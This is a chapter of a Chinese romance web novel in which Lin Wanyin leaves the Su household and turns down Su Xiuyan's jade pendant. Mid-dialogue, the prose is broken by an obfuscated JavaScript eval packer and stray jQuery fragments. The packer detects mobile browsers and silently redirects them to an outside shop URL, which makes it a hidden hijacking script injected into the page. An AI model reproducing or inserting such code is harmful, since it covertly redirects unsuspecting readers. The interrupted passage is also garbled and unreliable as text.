15.告别

作品:《晚音

    若说昨日林晚音临睡前还疑惑,为何苏沫夜里辗转反侧,非要拉扯着她,无厘头地央她今日莫要生气。


    那么此时看着那兰枝玉树的公子,如同等候多时般立在苏府的大门前,她心中便有了定数。


    目光流转,偏过头看了看身旁的苏沫。


    苏沫感受到林晚音的目光,像是做了贼被抓住般,垂着头掩盖慌张神色。


    一袭淡鹅黄衣裙,衬得人明媚活泼,即使是窘迫也让人觉得可爱。


    “这便是你说的让我莫要生气?”


    苏沫看着自己那从衣裙下探出来的鞋头,也是鹅黄色的,顶端缀了团绒毛,从上往下看,瞧着像兔子的两团尾巴顶在脚上。


    冷不丁听见林晚音说话,心里一阵麻意顺着颈后攀到脸面上,烫烫的。


    她还以为昨日夜里阿音姐姐没听见呢。


    原是听见了啊?


    “阿音姐姐,你还会同我去踏青的,对吗?”


    还是不敢看面前的人,她伸出手指,只小心翼翼勾过林晚音的衣袖。


    是滑腻的丝绸,上边绣着梨花,与那日初见时林晚音穿的花样相似。


    瞧着苏沫一双手扯着自己衣袖那么一丁点大的地方,轻轻地左右摇摆着。


    那唇上似乎方才被贝齿咬了,粉中透出一点微红,薄薄铺在上边。


    一双眼眸心虚着不敢看自己,只有如蚊子般的声音传来耳畔。


    忽的生出了要逗她的心思,林晚音装作没听见一般:“什么?”


    只见她蓦地抬起头,可待望向林晚音时又眼神飘忽不敢直视,只怯生生地又重复了一遍方才的话。


    看苏沫这般又心虚又羞的模样,林晚音也不再逗弄她了,只刮刮她那翘鼻道:“好啦,待我好了便同你去。”


    一句话像火星般,将她眼睛瞬间点得亮起来。


    两人挽着手,谈笑间便行至苏府大门前,院中新栽的桃树已不似之前刚进府那般枝叶稀疏,因着京城四月天的缘故,虽未开花,但嫩绿的新芽已从枝桠间抽出来。


    “阿音姐姐再见。”苏沫将她送到大门前,才依依不舍将挽着的手松开。


    思及此去又不是山长水远,左右都是在京中,日后相见也不难,是以面上并未伤感,只笑着告别。


    林晚音点点头以作回应,又忍不住轻抚她鬓发,并未多做停留便转身踏出苏府大门。


    几辆马车停在门前道上,苏修言正站在为首的一辆马车前,暗红色车帘上绣满了金色祥纹。


    是宋芹将车帘掀起,两人像是在说些什么。


    她未与林晚音一道,而是稍早一些就到了苏府大门,在苏家公子相送下先上了马车等林晚音。


    车帘落下,苏修言也在这时转过身。


    府前阶上,林晚音正站在那。


    一袭蓝白衣裙,袖间衣袂下,绣着朵朵梨花,微风将那轻盈的绸缎吹起,竟像是有片片梨花洒在她身上般。


    像踏着清风,踩在他心上,那人不急不缓走到他面前一礼,垂着眼眸启唇:“多谢苏公子相送。”


    他想伸手将她扶起,可却恐唐突了她,只好点头:“林姑娘言重。”


    看了一眼远处的苏沫,他又解释道:“今日出府办事,恰巧得知林姑娘要回府,是以才在此相送。”


    林晚音听着,想起苏沫那心虚的模样,忍不住噙了笑意。


    这兄妹俩当真是有趣。


    余光瞥见后头几辆马车上的一个个木箱子,抬了眼眸她便直直看着苏修言道:“这些东西是苏公子出府办事要用的吗?”


    他今日着了一身黛蓝袍子,腰间挂着一枚雕花和田玉佩,一支兰花自腰间蜿蜒而上,绽在他的胸前,绣得栩栩如生。


    “都是我寻来的一些药材,赠予姑娘回府将养。”


    这段时日因忙着筹谋去豫州赈灾所需物资,都未能抽出空闲去看她,不成想她也不愿在苏家多待,竟是伤口刚愈合便要回府了吗。


    可是他哪里做得不够好?让她住得不舒坦?


    “我记得苏公子方才说只是恰巧得知我回府,临时准备这么多,劳烦苏公子了。”


    林晚音言语间平静无波,像是在说一件与自己不相干的事,叫人听不出好坏,可她说完后又偏欠身一礼,让人觉着她是真心这般认为的。


    面前的人丝毫没有被拆穿的慌张,只笑了一下,那凤目弯出新月的弧度,开口答道:“早早便备下了,让下人往库房跑一趟拿出来倒也不碍事。”


    果然是混迹在生意场上的公子哥,就算林晚音心中狐疑,也知晓是怎么回事,可他一番话硬是答得滴水不漏。


    “林姑娘——林姑娘安。”


    她被唤过身来,只见一个小丫鬟匆匆跑来,临了跑到她面前正粗喘着气,也不忘行礼问安。


    那小丫鬟在远处便看见自家公子也在府门前,是以接着又向苏修言行礼。


    “何事这般匆忙?”苏修言问那丫鬟。


    “禀公子,林姑娘有东西落在院中了,奴婢打扫时看见便赶忙送来。”


    丫鬟垂着头,将手摊开——掌心躺着的正是昨日林晚音让小桃留在院中,说不必带走的玉叶坠子。


    此时林晚音只觉自己像是做了什么错事,心底无端地慌起来,还有些窘迫。


    原想着放在院中,届时苏家下人打扫时发现,必会拿去给苏夫人或苏修言,那也算是偷偷还给苏修言了。


    她人都走了,还追着送出来作甚。


    还有,末端那系着的黑玛瑙珠子上,不是刻了个“修”字吗?


    还生怕人看不见似的明晃晃用金箔将那字迹贴了,在珠子上便成了个金色的“修”字。


    那丫鬟应当拿给苏修言才是...


    她一时间也不知该如何作答,只好沉默着。


    本想暗中还回去,给苏修言留点面子,现下被人戳穿便罢了,还要在物主面前被戳穿,这滋味真是不好受。


    而苏修言见到丫鬟手中躺着的玉叶坠子,只觉得心下一沉。


    这分明是他那日亲手系在伞上的玉叶坠子,她不是收下了吗,怎的要留在苏家?


    “这坠子甚是精巧,林姑娘怎舍得搁下?”他仿若全然不知她的心思,虽是在问她,但话里话外都想她将这东西带走。


    “苏公子莫非是忘了,这不是我的东西。”林晚音暗自吸了口凉气,将心底的慌张压下,挤出一个得体的笑


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13343870|139352||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,对他说道。


    无论如何,先圆过去罢,若是他真的要问到底...


    那丫鬟被林晚音这般一提,也细细端详起那坠子来,忽的压着惊呼道:“林姑娘说得是,公子,这像是你的坠子。”


    玉叶坠子被递到苏修言面前,丫鬟见他无动于衷,又将坠子往前凑了凑补充道:“公子你瞧,这上边有个修字。”


    苏修言垂下眼看着坠子,是一片叶的形状,透如冰块,一抹翠色斜着飘在上边,现下竟像裂痕般刺着他的眼睛。


    为何她连一个坠子也不愿意要?


    可若她对自己无半点情意,又为何要赴宴,为何要替他挡刺?


    心里泛起涩意,唇边的笑像是自嘲,苏修言接过那坠子,仍是问道:“林姑娘可愿再收下这坠子?”


    在京门前,是他趁着送伞将坠子系在上边给她送去。


    这次,他不借着任何由头,只问她愿不愿再收下。


    丫鬟见状不敢再留,心中庆幸自己将这烫手山芋丢了出去,连忙遁走。


    面前的人垂下眼不再看他,依旧是得体的笑,听闻他这句话只得体行了一礼,道:“晚音顾及苏、林两家关系,是以来苏家赴宴;至于替公子挡下刺客,也是因此。若公子记着晚音的恩情,便请公子日后在生意场上多帮衬林家。”


    “至于晚音,请公子不必过多关照。此物上刻了公子名讳,实在是收不得,还请公子顾念晚音清誉。”


    先前她因着母亲,将此物佩在腰间,想着若攀上苏家门楣能使母亲高兴,那她便去做吧。


    可当在生死之际走上一遭,她方才知晓自由难得可贵,在这世间行走一遭,所有的决定都只有一次,幸而她在此时能回头重新选择。


    只望苏公子顾念她的恩情,能多关照林家,这样她就算不嫁进苏家,母亲也不会不高兴吧?


    终归母亲是想能在苏家讨得好处,是以什么方式并不重要。


    苏修言静静望着她许久,墨色眸子里似有暗流翻涌,可看她欠着身子,却怎么也恼不起来,只弯腰作揖:“苏某知晓了,是苏某唐突。”


    语气平静,不温不怒。


    明明又被婉拒了,可对着她,好似怎么也气不起来。


    他有什么好气的呢?


    所幸她对苏家还有所求,否则他连再见她一面都难,不是吗?


    如此想着,他目光落在林晚音身上,竟笑了出来。


    林晚音直起身就见面前的人噙着笑,不由得暗中思量。


    难道又是自己想多了?


    两人在意料之外的轻松氛围中告了别,像无事发生一般。


    上了马车,林晚音才如梦初醒般撩了帘子,从马车窗外望向苏府大门。


    只模糊看见那黛蓝色的身影还立在门前,似在望着离去的车队。


    听了她那番说得直白的话,苏修言也不恼?竟还笑了?


    当真是好脾气。


    心里疑惑间,她垂了车帘,也不再望。


    几辆马车摇摇晃晃的往林府驶去,苏家的马车外坠有玉玲,行路间叮当作响,甚是有一番意趣。


    母亲林夫人宋芹与她同车而坐,母女两人相对却无言。